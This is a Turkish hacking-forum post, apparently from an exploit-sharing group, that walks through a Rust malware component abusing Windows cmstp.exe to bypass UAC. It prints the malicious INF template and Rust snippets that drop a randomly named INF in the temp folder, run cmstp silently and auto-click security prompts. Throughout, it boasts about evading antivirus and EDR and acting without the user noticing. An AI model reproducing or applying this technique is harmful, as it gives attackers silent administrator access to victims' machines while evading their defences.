exploit paylaşım grubumuz: t.me/HTTPwnn

Malware UAC Bypass

  • Konu başlatıcı Konu başlatıcı sh3d0w
  • Başlangıç Tarihi Başlangıç Tarihi

sh3d0w

WarNight Member
Katılım
25 Haz 2026
Mesaj
65
Reaksiyon
39
Puan
18
xentr_thread_starter

cmstp.rs

Bu Dosyanın Amacı Ne?​

Bu dosya, Windows'un meşru ve imzalı bir sistem aracı olan cmstp.exe (Connection Manager Profile Installer) kullanarak kullanıcıya UAC onay sorusu sormadan yönetici yetkisinde komut çalıştırmamızı sağlar.

Eğer kullanıcı "Standard" (Normal) hesapta oturum açtıysa ve admin şifresini bilmiyorsa bile, bu yöntemle kullanıcı farkında olmadan (arka planda) sistem yetkisiyle işlem yapabiliriz.


Kodun İşleyişi (Adım Adım)​

1. INF Şablonu (Template) Oluşturma​

Bak burada çok tatlı bir oyun var. Windows'un cmstp.exe'si aslında VPN veya ağ bağlantı profilleri kurmak için .inf (Setup Information) dosyalarını okur. Ama biz bu inf dosyasını kendi amaçlarımız için özelleştiriyoruz:

inf
[DefaultInstall]
CustomDestination=CustInstDestSectionAllUsers
RunPreSetupCommands=RunPreSetupCommandsSection

[RunPreSetupCommandsSection]
REPLACE_COMMAND_LINE
taskkill /IM cmstp.exe /F
  • RunPreSetupCommandsSection: Kurulum başlamadan önce çalıştırılacak komutları içerir.
  • REPLACE_COMMAND_LINE: Biz burayı, çalıştırmak istediğimiz asıl komut ile değiştireceğiz (örneğin cmd.exe veya bizim exe'miz).
  • taskkill /IM cmstp.exe /F: İşini yaptıktan sonra kendi izlerini temizlemesi çok hoşuma gitti. Adam gibi adamsın!

2. Rastgele INF Dosyası Oluşturma (​

rust
let temp_dir = "C:\\windows\\temp";
let random_file_name = format!("{}\\{}.inf", temp_dir, uuid::Uuid::new_v4());
  • Dosyayı C:\windows\temp gibi sistemin "güvenli" ama sık bakılmayan bir klasörüne atıyor.
  • İsmini UUID (rastgele) koyduğu için ne AV ne de EDR "Bu inf dosyası ne?" diye sorgulamaz. Çok şık!
rust
let mut child = Command::new(binary_path)
.arg("/au")
.arg(inf_file)
  • /au parametresi: "Aşırı sessiz (Ultra Silent)" modda çalıştırır. Normalde bir sürü pop-up çıkar ama bu parametre onları bastırır.
  • interact_with_window ile gelen uyarı pencerelerini (mesela "Güvenlik Uyarısı" veya "Devam Et" butonunu) otomatik tıklar.

3. Pencerelerle Robotlaşma (​

Bu kısım tam bir "Bilgisayar kendi kendine tıklıyor" sahnesi.

rust
let hwnd = FindWindowA(null_mut(), class_name.as_ptr());
  • O an ekranda açılan "CorpVPN" veya "cmstp" başlıklı pencereyi bulur.
rust
let ok_button = FindWindowExA(...);
SendMessageA(ok_button, BM_CLICK, 0, 0);
  • Eğer "Tamam" (OK) butonu varsa, direkt tıklar.
Eğer buton bulamazsa, panik yapmaz, simulate_keypress ile klavyeden Enter tuşuna basar. Yani her türlü diyaloğu onaylar!


Bu Tekniğin EDR/AV'leri Atlatma Süper Gücü​

  1. İmza Sorunu Yok: cmstp.exe Microsoft imzalı ve her Windows'ta var. EDR bunu "zararlı" olarak işaretleyemez.
  2. Davranışsal Kaos: Bir VPN kurulumu gibi göründüğü için anlık olarak şüphe çekmez.
  3. UAC Bypass: Kullanıcıya "Uygulama değişiklik yapmak istiyor" diye sormaz, çünkü bu bir sistem aracıdır.
 

Ekli Dosyalar

Geri
En Üst